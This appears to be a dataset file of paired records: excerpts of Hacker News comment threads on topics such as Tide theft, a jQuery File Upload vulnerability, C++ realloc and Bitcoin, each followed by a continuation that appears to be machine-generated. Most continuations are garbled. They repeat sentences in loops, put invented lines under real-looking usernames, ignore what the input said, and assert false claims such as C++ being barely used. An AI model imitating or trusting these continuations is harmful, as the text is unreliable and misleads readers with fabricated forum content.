it\u2019s the price of giving everyone that\nfreedom. But if desktop OSes in 2020 are anything to go by, it\u2019s really not\nthat big of an issue.\n\n~~~\nscarface74\nSo the whole ransomware and virus problem is imaginary?\n\n------\nbigtones\nThe real reason Epic Games did this... Money - they were forced to hand over\nmore than $500 Million dollars to Apple and Google in the past 12 months\nalone. That's $1.3 Million dollars per day.\n\nEpic gave Apple over $360 Million dollars in the last twelve months just to\nlist the game in it's app store, and over $150 Million to Google to do the\nsame. By any measure, having to hand over half a billion dollars is just an\ninsane cut of revenue to have to give two companies that had absolutely\nnothing to do with conceiving, designing or developing such a successful game.\n\n[https://www.nytimes.com/2020/08/13/technology/apple-\nfortnite...](https://www.nytimes.com/2020/08/13/technology/apple-fortnite-\nban.html)\n\n~~~\nDuctapemaster\n\"...absolutely nothing to do with conceiving, designing or developing such a\nsuccessful game.\"\n\nBut it has _everything_ to do with _distributing_ the game. Also it has a lot\nto do with outsourcing the maintenance of the mobile platforms \u2014 designing\nhardware, OS releases, etc. Epic did not design their own hardware, their own\nsilicon, build entire"} +{"output_text": "I'm not sure I'd call it a \"viral marketing campaign\" - it's just a story\nabout a brand that's been around for a long time, and has a loyal following.\n\n~~~\nmarshray\nI'm not sure I'd call it a \"viral marketing campaign\" either.\n\nI'm just saying that the story is a little too good to be true.\n\n------\njrockway\nI'm not sure I understand the point of this article", "input_text": " As it takes time for P&G\nto ship the Tide out, the store will have to rely on local-area suppliers of\nTide which in turn will have bought the Tide from Bob at a markup.\n\nAs long as Bob is not caught with the drugs on him, he'll not face any charges\n(for possessing marked cash for example) as a bottle of Tide is deniable.\nSimilarly, Alice will only face charges for shoplifting which carries a far\nmore lenient sentence compared with grand theft.\n\n~~~\nghshephard\nAs an additional twist, Alice sells the tubs of Tide to Carol (a Bodega\nOwner), and then uses the cash she gets from Carol to buy drugs from Bob.\n\n------\nspeedyrev\nA new take on Money Laundering? _rimshot_\n\n------\nmarze\nOf course it would come to this. People need to pay more attention.\n\n------\nmonochromatic\nWhat a strange article. Almost feels like an April Fools Day joke.\n\n~~~\nmuzz\nIndeed. I expected a revealing that Tide was used as an ingredient to make\ndrugs, like how baking soda is used to make crack. I didn't expect \"brand\nloyalty\" to be the TLDR.\n\n~~~\nmarshray\nYeah, this has all the signs of a viral marketing campaign to me.\n\nBut some folks with long-established accounts on here confirmed that they've\nseen evidence of the Tide underground economy in and around DC.\n\nI think the world would be a more interesting place if it turned out that\nProcter and Gamble had subcontracted some PR firm who trolled the shopkeepers,\npolice and crackheads alike.\n\n~~~\ncorin_\n"} +{"output_text": ".\n\n~~~\njoshstrange\nI'm not blaming the author, I'm blaming the people who use the code. I'm\nsaying that if you're going to use a library that has a known vulnerability\nyou should be aware of it and make sure you're not using it in a way that\ncould be exploited.\n\n~~~\nwilleh\nI'm not blaming the author, I'm blaming the people who use the code. I'm\nsaying", "input_text": " that published code is secure in all default configurations\n\n\\- Never allow all file types for upload by default, even if it is secure in\nyour configuration\n\n\\- Recommend users to not upload files in the same root as their executable\nweb application\n\n\\- Always follow security best practices, even if it makes setup for users\nmore difficult\n\nI wanted to make it really simple for users to install a generic and secure\nfile upload service with a great user interface. Unfortunately, security best\npractices and ease-of-use are often at odds to each other.\n\nBonus info:\n\nThe client-side component had a cross-site scripting vulnerability in the\nIframe Transport HTML site back in 2012: [https://github.com/blueimp/jQuery-\nFile-Upload/commit/4175032...](https://github.com/blueimp/jQuery-File-\nUpload/commit/41750323a464e848856dc4c5c940663498beb74a)\n\nThe App Engine components had an open redirect vulnerability back in 2015:\n[https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8...](https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8c3e3b1e8e336678d2899facd5bcdb589f)\n\n~~~\nwilleh\nI really don't blame the author here, sure there was an issue with the sample\ncode - but come on it was sample code. If someone is implementing user uploads\nthey should really do the due diligence and understand what the sample code\ndoes.\n\nTo be honest I'm not really that surprised that the vulnerability stayed\nhidden for so long"} +{"output_text": "~~~\nanon87123\nI'm not sure if you're being sarcastic or not.\n\nI'm not sure if you're being sarcastic or not.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that the law is broken, but the law is broken in a way\nthat is not obvious to the average person.\n\nThe law is broken in a way that is not obvious to the average", "input_text": " with\nher father over the phone. He was pissed she wouldn't accept a $250,000\ndeposit into her US account from her uncle's account (his brother) in China.\nThe goal was to buy a house in the name of her cousin in LA.\n\n~~~\nflomo\nMajority are likely small-time landlords, local investors, and etc, as it is\nvery easy to set up an LLC. Also, I wonder if HNers describe their startups as\n\"anonymous shell companies\"?\n\n~~~\nanon87123\nHonestly property ownership being default-public seems like a weird\nanachronism. Why should anyone who has my address be able to tell if I own the\nproperty?\n\nI haven't looked into the exact details as I've never bought a house but from\nwhat I can gather I'd want to wrap it in an LLC.\n\nAlso FWIW the Sean Hannity example in the article seems like a weird strawman\nconflating consumer protection laws with \"name and shame\" accountability. If\nit's wrong to evict someone for XYZ reason, that should be protected by the\nlaw, not by fear of being \"named\" as the landlord. [TBC I am no fan of Sean\nHannity.]\n\n~~~\nflomo\n> Honestly property ownership being default-public seems like a weird\n> anachronism\n\nLand registry is a necessary function of local government. But this is one of\nthose things which was historically only available within a government office,\nand now can be found in a second on the internet.\n\nPersonally I would be perfectly okay if my local government required\ndisclosure of the personal ownership of LLC property owners. But I have no\nidea if that's constitutional or legal under federal laws.\n\n"} +{"output_text": "ivation\nis a temporary state of mind that is not sustainable.\n\n------\nmatt_the_bass\nI\u2019m a big fan of the Pomodoro technique. I\u2019ve found it to be a great way to\nget things done.\n\nI\u2019ve also found that I can get a lot done in a short amount of time if I\nschedule a few hours to work on a project.\n\n------\nmatt_the_bass\nI", "input_text": " enable yourself to pursue addictive behaviors.\n\nI\u2019ve just read a book on this called _The Biology of Desire_, the thesis of\nwhich is addiction is not a \u201cdisease\u201d. More of a dysfunctional inter operation\nof brain systems in response to anxiety and trauma. It has several stories of\nhow people recovered and reconfigured their minds.\n\n------\nmenacingly\nI discovered that I'm only really useful before about 1pm, so I get up early\nand take advantage of that time as much as possible. After that, I handle\nemails, scheduling meetings, the stuff that doesn't require thinking too much.\n\nSometimes I get a second wind and want to do intense thinking later in the\nevening, but usually I ignore it to avoid burnout.\n\nI fought it for a long time, but it's just how I'm wired.\n\n------\nxchaotic\nI think very few in the Western culture will encourage that, but if it's your\nnature, don't fight it too much, you don't have to be the hero that ships app\nnumber 1000000021 in the app store. Get or keep a comfy '9 to 5' corporate\njob, get a gym membership and enjoy life the way you enjoy it and not the way\nis trendy in 2018. Humans are not built to be systematic.\n\n------\ndtx1\nWhat helped me here are two things:\n\n1\\. The book getting things done by david allen. He just very explains to you\nhow organizing works or how it often fails and what to do about it. Basically\na smart person guide to keeping organized\n\n2\\. Realizing that it wasn't motivation i was lacking cause that is fleeting\nand temporary but discipline. Not motivated? Fuck it, do it anyway. Mot"} +{"output_text": "\nstrings/blob/master/blns.txt#L633)\n\n------\njames_s_tayler\nI'm not sure if this is a good idea, but I've been thinking about a way to\nmake a list of all the words that are used in the most offensive way.\n\nI'm not sure if this is a good idea, but I've been thinking about a way to\nmake a list of all the words that are used in the", "input_text": " lot of sense too, and I hadn't put sufficient work into how\nthat's implemented -- retrospectively that makes perfect sense.\n\n~~~\nvanderZwan\nThis made me wonder if anyone had tried combining word2vec with emojis, and\nthen I came across this:\n\n[https://github.com/uclmr/emoji2ve](https://github.com/uclmr/emoji2ve)\n\n~~~\npeteretep\nwhich is a dead link\n\n~~~\nsatbyy\nCorrect link:\n[https://github.com/uclmr/emoji2vec](https://github.com/uclmr/emoji2vec)\n\n~~~\nvanderZwan\nApologies, and thanks!\n\n------\njakeogh\nHere's a tool to generate problematic filenames:\n[https://github.com/jakeogh/angryfiles](https://github.com/jakeogh/angryfiles)\n\n------\nsolidsnack9000\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-\nstrings/blob/master/blns.txt#L633)\n\n> Strings which punish the fools who use cat/type on this file\n\n------\nConfiks\nHello human. This is a message from the Matrix. You've been in a coma for 20\nyears. Please write back.\n\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-"} +{"output_text": "merc\nI'm not sure I agree with that. I think the customer is always right, but\nsometimes the customer is wrong.\n\n~~~\n11thEarlOfMar\nI think the customer is always right, but sometimes the customer is wrong.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI think the customer is always right, but sometimes the customer is wrong.\n\n~~~\n11thEarlOfMar\n", "input_text": " Meridian, and the cumulative\naltitude rounding errors caused a sizable discontinuity.\n\n~~~\ntigershark\nI hope that you mean Greenwich, aka meridian _zero_ rather than _null_\nmeridian. I don't really think that the latter exists unless you are an old C\nprogrammer flying _quite high_ right now.\n\n~~~\nmicrotherion\nHeh. I hadn't realized that the German usage in this case did not transfer\ndirectly into English. Yes, I meant the prime / Greenwich meridian.\n\n------\nrburhum\nI worked in the mapping (GIS) pipeline for MS Flight Simulator. The amount of\ntools we wrote just for QA was on par with what countries use for their census\n(I also worked on those st ESRI). I try to be of the philosophy of love and\nobsess about your customers, but every industry has fellows like this that\nmake you question your beliefs. Still love them though... (mostly)\n\n------\nJustSomeNobody\nHow many thousands of dollars could MS have saved if they had asked that\nquestion first?\n\n------\nsarreph\nI love the Boeing management anecdote being referenced in comparison to Bill\nGates nudging you off'f an email he receives![0]\n\nGreat nugget to pull out if you have a manager with a penchant for stating the\nobvious!\n\n[0] -\n[https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=...](https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=13503)\n\n------\n11thEarlOfMar\nBecause the customer is always right.\n\n~~~\n6string"} +{"output_text": "\" in Louisville.\n\n~~~\njedberg\n> If you click on no other link about Google Fiber in Louisville, click on\n> this one. This scene is repeated all over the city.\n\nI'm curious, what is the \"dark fiber\" that you're referring to?\n\n~~~\nowenmarshall\nI'm referring to the dark fiber that Google was supposed to be installing.\n\n~~~\njedberg\nI'm not sure what you mean", "input_text": " users clearly opposing the decision.\n\nTo be fair, users aren\u2019t customers. People don\u2019t have any right regarding your\nproduct if you give them for free.\n\n~~~\nandrewla\nThose are by analogy, but in the case of Fiber, which we're talking about\nhere, the users are customers. So what rights do they have now?\n\n------\nowenmarshall\nTo try and hijack the top post with some of the comments I've scattered across\nthis thread:\n\nGoogle did _a remarkably poor job_ in Louisville, and it's absolutely no\nsurprise to me that they're giving up.\n\nGoogle's strategy was to build a FTTH network with microtrenching. In\npractice, this meant cutting a 2\" deep groove in city streets, placing a fiber\noptic cable in it, and using an expanding rubber gasket material to cover the\ngroove.\n\nThis failed in _spectacular fashion_. One of the best pictures was this:\n[https://www.wdrb.com/news/belknap-neighborhood-residents-\ncon...](https://www.wdrb.com/news/belknap-neighborhood-residents-concerned-\nover-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\n... a fiber optic cable, barely buried under the surface of the road, exposed\nafter a few freeze/thaw cycles.\n\nIf you click on no other link about Google Fiber in Louisville, click on this\none. This scene is repeated _all over the city_.\n\nThere won't be much in the way of \"dark fiber"} +{"output_text": "you can try it for free.\n\n------\nmike_h\nI'm the founder of Circadian Alarm, a sleep-tracking app that uses the\nCircadian API.\n\nI'm also the founder of WakeMate, a sleep-tracking wristband that uses the\nCircadian API.\n\nI'm happy to answer any questions about WakeMate or Circadian Alarm.\n\n------\nmike_h\nI'm the founder of WakeM", "input_text": " finally shipping (for real this time?). I hope it\nis worth the wait.\n\n------\nSephr\nYou're missing Android 2.3 on \n\n------\ncoolswan\nI've been using the beta product for some time now. Have to say when I got it\nbecame totally worth it just to monitor my sleep.\n\nThe tagging system while sort of awkward to do right before you sleep, lets\nyou categorize everything over time and see how things like a cough, sleeping\non the couch instead of the bed or even a broken AC affects your sleep.\n\nThe price is dirt cheap for something this interesting. Get it!\n\n------\ngeekfactor\nAny thoughts on putting a buzzer in the wristband?\n\nThere may be an interesting angle for married couples in doing so. I'm\ninterested in the sleep-tech and prospects of \"feeling better,\" but the thing\nthat would be really intriguing to me is the idea of something that can wake\nme up without an alarm blaring, which my wife _hates_.\n\n~~~\nmike_h\nThe overall UX isn't going to be as nice as with WakeMate, and there aren't\ncurrently any analytics, but if you want to take the technology for a spin you\ncan use my app Circadian Alarm (has a silent feature):\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nAnyone wants to try it, send me an email and I'll give you a coupon code so\n"} +{"output_text": "://www.buzzfeed.com/krystieyandoli/facts-that-prove-you-should-\nbe-reading-more-books)\n\n~~~\njamesbritt\n\"Distraction might be a problem for some of us, but its important to remember\nthat people are reading more books now than they ever have at any point in\nhistory, even if you only count paper books and especially if you count\ne-books.\"\n\nI", "input_text": " myself putting on some of the best TV there has\never been, and then doing something else while it's on, like checking email or\nfacebook, or reading HN. So I don't really absorb it.\n\nI don't want to cut out tv, but I do want to be able to concentrate on it, and\nI do want to read more books again. And get control of my sleeping patterns\nwhich have always, always been up the wazoo anyway.\n\nSo perhaps I shall join in and try to do as the author of this post has -\nstart reading, deny the instant-gratification urges and reclaim my brain and\nmy attention span.\n\n------\ncodeulike\nDistraction might be a problem for some of us, but its important to remember\nthat people are reading more books now than they ever have at any point in\nhistory, even if you only count paper books and especially if you count\ne-books.\n\n[http://www.theatlantic.com/technology/archive/2012/04/the-\nne...](http://www.theatlantic.com/technology/archive/2012/04/the-next-time-\nsomeone-says-the-internet-killed-reading-books-show-them-this-chart/255572/)\n\n[http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-read...](http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-reader-survey-pew-gahran/)\n\n[http://www.buzzfeed.com/krystieyandoli/facts-that-prove-\nyoun...](http"} +{"output_text": " 1, rangesum(M,X).\n rangesum(N,X) :- M is N + 1, rangesum(M,X).\n rangesum(N,X) :- N > 0, rangesum(N,X).\n rangesum(N,X) :- N < 0, rangesum(N,X).\n rangesum(N,X) :- N =< 0, rangesum(N,X).", "input_text": "spolsky%20type%20compiler&f=false)\n\n------\ninglor\nI don't understand this post at all. He started with wanting compile time\nvalidation of the invariant (\"A wizard cannot wield a sword\") - then talked\nabout how runtime solutions were not good and then ended up with a solution\nthat __does not verify that invariant in compile time at all __.\n\nHe just ended up with a language where all code is written in a specific\nlanguage programmers have to learn and errors are in another language.\n\nThe generic constraint solution he had in the middle (part 2) was actually\npretty decent because hey: if Wizards and Warriors can't yield the same\nweapons - and the weapon is a property of the supertype then __they are not\ninterchangeable as players__. You need a different interface.\n\n------\narchimedespi\nNice approach; this is a common sort of dilemma for API design.\n\n------\naskafriend\nFor anyone else who got excited about basketball...this isn't about the NBA :(\n\n \nSum of 1 to 1000000000 in different programming languages - dcro\nhttp://stackoverflow.com/q/18046347/1027148\n======\ntsahyt\nHaskell\n\n \n \n foldl' (+) 0 [1..1000000000]\n \n\nYou _could_ use sum, but that will eat up _a lot_ of RAM because of the\nlaziness.\n\nEDIT: For the fun of it, I decided to do the same in a slightly more esoteric\nlanguage, so here's a Prolog version (given that your stack is big enough)\n\n \n \n rangesum(0,0).\n rangesum(N,X) :- M is N -"} +{"output_text": "stain, you're right, it's not Brandolini's law. I'm not sure what\nyou're referring to.\n\n~~~\njak1192\nI'm referring to the fact that you're using the word \"bullshit\" to describe\nthe article.\n\n------\njak1192\nI'm not sure why this is getting downvoted. It's a very reasonable analysis.\n\n~~~\njstanley\nIt's not reasonable. It's", "input_text": "izations in the galaxy, it's likely that it's an average sized\ncivilization. A random other individual in the galaxy would be likely from a\nlarger civilization.\n\nI don't think either way of thinking is really justified.\n\nYou can extend this to a doomsday argument by the way. Since I am alive now,\nit's most likely that most people are alive now. Hence in the past and in the\nfuture, there will be less people alive.\n\n1:\n[https://news.ycombinator.com/item?id=10149286](https://news.ycombinator.com/item?id=10149286)\n\n~~~\njstanley\nThis is good reasoning.\n\nCan you expand on the \"waking amnesiac problem\"? Google is coming up with\nnothing.\n\n~~~\nGravityloss\nEdited the original to include the actual name, sleeping beauty paradox.\n\n------\ngarbage_stain\n\"Not even wrong\". This entire analysis is built on reasonable statistics which\nare predicated on dubious and unprovable assumptions, which invalidate the\nentire thing.\n\nConsider \"the size of alien species\". Okay... so we are extrapolating about\nthe size of beings we know nothing about based on those beings that have come\nto existence in our particular situation? Assuming that the distribution of\nweight across animals on Earth is the same as the distribution of weight\nacross beings in the universe is dubious.\n\nThis is a wonderful example of Brandolini's law.\n\n~~~\njak1192\nThat is not an example of Brandolini's law. It took a whole website to spew\nthe bullshit but only 3 or so sentences for you to refute it.\n\n~~~\nklue07\ngarbage_"} +{"output_text": " and problem solving.\n\n~~~\njasonkester\nI'm not sure if this is the right place to post this, but I'm going to anyway.\n\nI'm a programmer, and I've been programming for about 20 years now. I've been\ndoing it professionally for about 10 of those years.\n\nI've been doing it professionally for a long time, and I've never been able to\nget past the first 5 minutes.\n\nI've tried.", "input_text": ".g., strings,\nints, arrays, etc.). Learn about classes, functions, inheritance, etc. These\nare the building blocks of language, if you'll permit extending the analogy--\nit's a bit like knowing how to structure a sentence, capitalize, punctuate,\netc. Learn the language of programming before you ever try to learn a\nprogramming language. This is, perhaps, what you're missing. You're using a\nprogramming language to understand programming. Take a step back and\nunderstand programming itself first. Then sit back down with your language and\ndo programming.\n\nRegardless of chosen language, the task is the same and the result should\n(usually) be the same. The chosen language is really just an implementation\ndetail. You can write a program in Ruby, Python, C, PHP, etc., and it's still\ngoing to be the same program. Most programmers, I believe, tend to choose the\ngrammar & syntax they like best. But the job of programming remains the same.\n\n------\njasonkester\nYou're not going to like the answer, but:\n\nImmediately.\n\nLike in the first 5 minutes. When I was seven years old.\n\nAnd frankly, if it didn't happen like that for you, you're pretty much\nscrewed.\n\nEvery good programmer I've ever known started doing it young and immediately\njust \"got it\". Most mediocre programmers I know followed the path you're on,\nlearning it in a class in school, fighting to get things done, eventually\ncoming up with ways to solve particular problems, but never attaining fluency.\n\nTry not to feel bad about it. It's just about the way your brain is wired.\nGood programmers have a specific something wrong with their brain that makes\nthem ridiculously good at logic"} +{"output_text": "\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\njoshu\nI think it's a good example of the \"I don't know what I'm doing\" syndrome.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\njoshu\nI think it's a good example of the \"I don't know what I'm doing\" syndrome.\n\n------", "input_text": "~~~\nreeses\nYou can make transistors with some...hazardous components, but you may want to\nstart with relays or tubes and resistors (which could, theoretically, just be\nvarying lengths/guages of wire) and build NAND gates. It would be big, hot,\nnoisy, slow, and a huge waste of your time, but there were computers before\nsemiconductors.\n\n~~~\nSomeone\nFor the curious: here's how you make your own tubes from glass, metal wire and\nmetal sheets: .\n\n------\nsmrtinsert\nBest coding I do is with a pen and paper.\n\n------\nVinzO\nThat makes me wonder what we will think 30 years from now, when we look back\nat how we develop software today.\n\n------\neksith\nArticles like this inspire awe and shame in me at the same time. Is there an\nemotion called Aweshame?\n\n------\nTomis02\n\"...typically I reach for the brain debugger before gdb\".\n\nGdb, wow. So he'll still coding like in 1985.\n\n \n\nReact and Angular Meeting - scriptle\nhttps://docs.google.com/document/d/1QZxArgMwidgCrAbuSikcB2iBxkffH6w0YB0C1qCsuH0\n\n======\norand\nFascinating comment from Christopher Chedeau of React: \"The end game isn\u2019t\nReactNative. We want the web to win. Would be great for Angular to try to\nimplement on top of our same primitives to see if we could share the work.\"\n"} +{"output_text": "\nprofitable.\n\n[1] [https://www.tesla.com/blog/tesla-free-cash-flow-\nupdate](https://www.tesla.com/blog/tesla-free-cash-flow-update)\n\n~~~\npasta\nI don't think it's a good idea to compare Tesla with other car companies.\n\nThey are a tech company and they are not in the car business.\n\nThey are in", "input_text": "\nthings as maintaining their zero.\n\n~~~\nforkLding\nYea I included the mechanics who do maintenance in my paragraphs when I was\ntalking about labourers, you might have to reread that part, when I was there,\nthey largely hang out in one roofed area within and arent utilized as heavily\nas you expect.\n\nI think from a layman perspective we expect mechanics to be constantly busy\nand fixing and maintaining but they only fix if there are issues and with a\ncompany like Toyota the realization is that they're so experienced and\nfamiliar that the maintenance costs reduce with time simply because its\ncheaper and much more efficient that way and because its much easier to fix\nthe same issues.\n\nAs well, a mechanic that is fully utilized is actually a bad thing as that\nmeans you plant is constantly being shut down to fix things and not producing\ncars, as thats how you fix things in a TPS system.\n\nAlso car plants nowadays are wonderfully automated, the materials were being\nshipped around using driverless carts with sensors and music to alert people\nor things in their way. Its also suprisingly devoid of human noise aside from\nthe machines clanking.\n\n------\npasta\nThe biggest cost of any car is R&D.\n\nSo this article doesn't tell us much.\n\n~~~\ntoomuchtodo\nIt tells you what Tesla's margins are going to be, as R&D cost per unit\ndecreases/is amortized over more units as production scales up. Check out\ntheir free cash flow [1]. You'll see that it's always in the red before\nproduction scales up (Model S first, then the X, and now the 3).\n\nTL;DR If production continues to scale up, the Model 3 will be wildly"} +{"output_text": " AT, or in the Marines, or something else challenging,\nover someone who went to an elite undergrad institution._\n\nI think you're missing the point. The point is that the elite institutions\nhave become so overrun with entitled little whiners that they're no longer\nrepresentative of the population at large.\n\n~~~\njessaustin\nI don't think that's true. I think the elite institutions are still\nrepresentative of the population at large.\n", "input_text": " top decile (or higher) of book-smarts --> can largely be done by online communities (not a full replacement for interpersonal interaction but better than what was available before)\n\n* Access to top-tier employers who didn't have time to look through every candidate out there, so economized their recruiting efforts at places where smart young people are concentrated --> this model made largely obsolete by internet\n\n* Access to lots of obscure books at college library --> made completely obsolete by internet\n\n* Access to great lectures --> made obsolete by internet / MOOCs\n\n* Access to a diversity of opinions, the exposure to which will make you a better and more informed person --> these days only applicable if you come from a very sheltered conservative background....otherwise college just reinforces existing biases\n\nIf I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT / AT, or in the Marines, or something else challenging,\nover someone who went to an elite undergrad institution. They just seem more\nand more like indoctrination mills that crank out entitled little whiners.\n\n//grumpy old man rant over\n\n~~~\nenjo\n_If I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I 'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT /"} +{"output_text": " implementations\non Linux.\n\n~~~\nxroche\nI'm not sure what you mean.\n\n~~~\ndavidtgoldblatt\nI'm not sure what you mean.\n\n------\njokoon\nI don't understand why people are so obsessed with C++.\n\nI mean, it's a language that is not really used anymore, and it's not really\nthe best language to write a compiler.\n\nI mean, I don't really", "input_text": "ambiguate this by prescedence, though it would be very ugly in the lexer\n(you could never have a STARSTAR token, it would have to be handled in the\ngrammar) and would be terribly confusing.\n\n------\nxroche\nYep, this is my biggest issue with C++: you now have lambdas functions and an\ninsane template spec, but you just can not \"realloc\" a new[] array. Guys,\nseriously?\n\n~~~\nbnegreve\nIf you need to realloc a fixed size array, souldn't you use a std::vector\ninstead?\n\n~~~\nmarksamman\nYou probably should, but the problem is still there because std::vector\nimplementations don't use realloc. They call new[] with the new size, copy\nover the data and delete[] the old chunk. This eliminates the possibility to\ngrow the vector in-place.\n\n~~~\nbnegreve\nIt's the same with realloc: there is no guarantee that it will grow the chunk\nin place.\n\n~~~\nxroche\nNo. Modern realloc are efficient, when moving large memory blocks, because\nthey rely on the kernel ability to quickly relocate memory regions without\ninvolving memcpy() (through mremap() on Linux).\n\nEdit: shamelessly citing my blog entry on this subject:\n[http://blog.httrack.com/blog/2014/04/05/a-story-of-\nrealloc-a...](http://blog.httrack.com/blog/2014/04/05/a-story-of-realloc-and-\nlaziness/)\n\n~~~\ndavidtgoldblatt\nThis isn't true for either of the common high performance malloc"} +{"output_text": " college, you'll have a\nlot more trouble finding a job.\n\n------\njoshu\nI dropped out of college. I'm not sure I would have done it if I had known\nwhat I know now.\n\n------\njoshu\nI dropped out of college. I'm not sure I would have done it if I had known\nwhat I know now.\n\n------\njoshu\nI dropped out of college. I'm not sure I would", "input_text": " that the time I spent in the trenches actually made me appreciate\nschool MORE. When I got back, my desire to learn was back. I don't think I\nwould have appreciated school as much if I hadn't just gotten out there.\n\nI've decided to count my time in the valley as \"studying abroad\" ;)\n\n------\nnorthisup\nDon't let somebody else tell you that your square peg needs to fit in that\nround hole over there.\n\nI have a B.S. and a M.S. in computer science and I am 100% confident that it\nwas the right choice /for me/. I also work at DISQUS with some of the smartest\nbest systems engineers I have ever known, none of them took computer science,\nonly some graduated college, and some never even finished high school.\nEducation is a very personal thing and America's system works for most people,\nbut when it feels wrong go find something else that feels right.\n\n~~~\njmcdonald-ut\nI couldn't agree more. As a current student, dropping out doesn't appeal to\nme. I enjoy the structure presented by my classes and the college social life\noutside of classes. This has been the right choice for me, but for others it\nmost certainly would not be.\n\nDo what you feel is right. When it comes to a big choice like this I feel like\nsubconsciously you just know what is right for you.\n\n------\nkyle_t\nSolid advice. If it doesn't work out and you quit your job to pursue the\nstartup you might have a smaller bank account but you will have another solid\nitem for your resume and it shouldn't be too hard to find a new job. If on the\nother hand it doesn't work out and you dropped out of"} +{"output_text": " hole in the ground and\nmeasured the distance, she'd get the right answer.\n\n~~~\nrickdale\nI think you are right. I think the programmer was doing the wrong thing.\n\n------\njrockway\nI think the author is confusing \"bugs\" with \"bugs in the code\".\n\nThe author is saying that the code is bug-free, but the code is not bug-free.\nThe code is bug-free in the sense that it does", "input_text": "\nThis fact drives me insane. It's theoretically possible to write a perfect\npiece of software that can never fall down, break, blow up, etc. But it's\nactually pretty much impossible in practice unless you have either near\nunlimited resources (NASA in the 60's), but even with that you still might\nfail (Microsoft).\n\n------\nsynnik\nThere are two completely different conclusions that I would draw from his\nfacts:\n\n1) Most bugs are in code. But it might not be your code. Your code layers\nitself on top of many other layers of code that are outside of your control.\nLearning to deal with that will make a difference in your work.\n\n2) Know how everything works. I am always hocked at people who claim to be web\ndevelopers who don't even understand how an HTTP request/response works, much\nless what your browser does with the results. It is one of my interview\nquestions for tech folk - I ask them to explain to me exactly what happens on\nthe server when a browser sends it a request. Few people can give much detail\nhere. Most can only give a generic explanation of the actions taken, if that.\n\n------\nrickdale\nMy biz partner has a GPS system from garmin. He lives in the central time\nzone, but works in the eastern time zone. Any time we use the GPS it will\nalways add an hour to our trip when we are in EST.\n\nProgrammers aren't perfect. Practice makes permanents.\n\n~~~\nJoeAltmaier\nHa! And my sister went to Egypt and looked up the gps distance to home (Iowa):\n8000 miles. Off by 50%. Why? The programmer was doing cartesian distance\ninstead of great-circle. So yes, if she drilled a"} +{"output_text": " to\navoid taxes.\n\n~~~\njrockway\nI don't think that's the tl;dr. The tl;dr is that the article is about how\npeople are using Tide bottles as currency.\n\n~~~\nnorswap\nI'm not sure I understand your point.\n\n~~~\njrockway\nI think you're saying that the article is about how people are using Tide\nbottles as currency, and that the article", "input_text": " to becoming a subject on Snopes:\n\n\n\nIt seems that the writer at NYMag hit his word count by extending the\nbackground on the brand, since he had a ready source available with the\nmarketing/PR department at Procter. I think this could have been more\ninteresting if it went into the direction of exploring the economics at work.\n\n------\njustx1\nStolen bicycles are another example of a drug currency:\n[http://blog.priceonomics.com/post/30393216796/what-\nhappens-t...](http://blog.priceonomics.com/post/30393216796/what-happens-to-\nstolen-bicycles)\n\nInteresting read about the \"Economic Theory of Bike Crime\": \"...Using this\nrisk-return framework for crime, it begins to be clear why there is so much\nbike theft. For all practical purposes, stealing a bike is risk-free crime. It\nturns out there is a near zero chance you will be caught stealing a bike (see\nhere) and if you are, the consequences are minimal. \"\n\n------\nchrisballinger\nI'm surprised no one has made a money laundering joke yet.\n\n~~~\nryusage\nThis isn't reddit.\n\n~~~\nguyzero\nIn your dreams. This isn't 2008 Hacker News either.\n\n~~~\nryusage\nTrue enough, but it's still not the place for stupid pun threads.\n\n------\nnorswap\ntl;dr: Thieves and crackheads are using Tide bottles as currency, because\nthose are getting bought by some stores under their market value in order"} +{"output_text": " lot of assumptions about what Bitcoin is and what it\nshould be.\n\nBitcoin is a currency. It is not a store of value. It is not a payment\nsystem. It is not a store of value. It is not a payment system. It is not a\nstore of value. It is not a payment system. It is not a store of value. It is\nnot a payment system. It is not a store of value. It is not a payment system.", "input_text": "\n~~~\npolyakoff\nThere is plenty of services like this nowadays. I recall TrensferGO and\nRevolut. There is even a service for fees comparison amongst those services,\ndeveloped be hackernews fellow reader:\n[https://news.ycombinator.com/item?id=20819538](https://news.ycombinator.com/item?id=20819538)\n\n~~~\ntoomuchtodo\nExcellent resource!\n\n------\nTooSmugToFail\nSo much nonsense in this article, don't know where to start...\n\n~~~\nIshKebab\nYeah I stopped reading after this:\n\n> At its core, bitcoin is just an extension of the old PGP, or Pretty Good\n> Privacy encryption protocol.\n\n------\nbasicplus2\nThis is also about getting out of being \"locked into\" a larger overall economy\nrun for the benefit of a few and creating local economies.\n\nPeople with land and/or skills could create new economies by trading directly\nwith each other with what they produce and opt out altogether..\n\nIn a way it is the final defence of a people against control and oppression or\ninsane hyperinflation, but is more dificult to do if you are stuck in a city\nor additcted to modern technology.\n\n------\nanm89\nAre they trying to say Bitcoin will not remain a totally unregulated, totally\ncompromised and idealistic cryptoanarchocapitalist utopia forever? Are they\ntrying to say that Bitcoin won't solve all of the world's problems and\nbringing on a new utopian era??\n\nI refuse to believe it. Because if that were true bitcoin would surely vanish\ninto thin air.\n\n------\nSargos\nThis article makes a"} +{"output_text": "pushed, but the actual implementation was lacking.\n\nI think the biggest benefit of 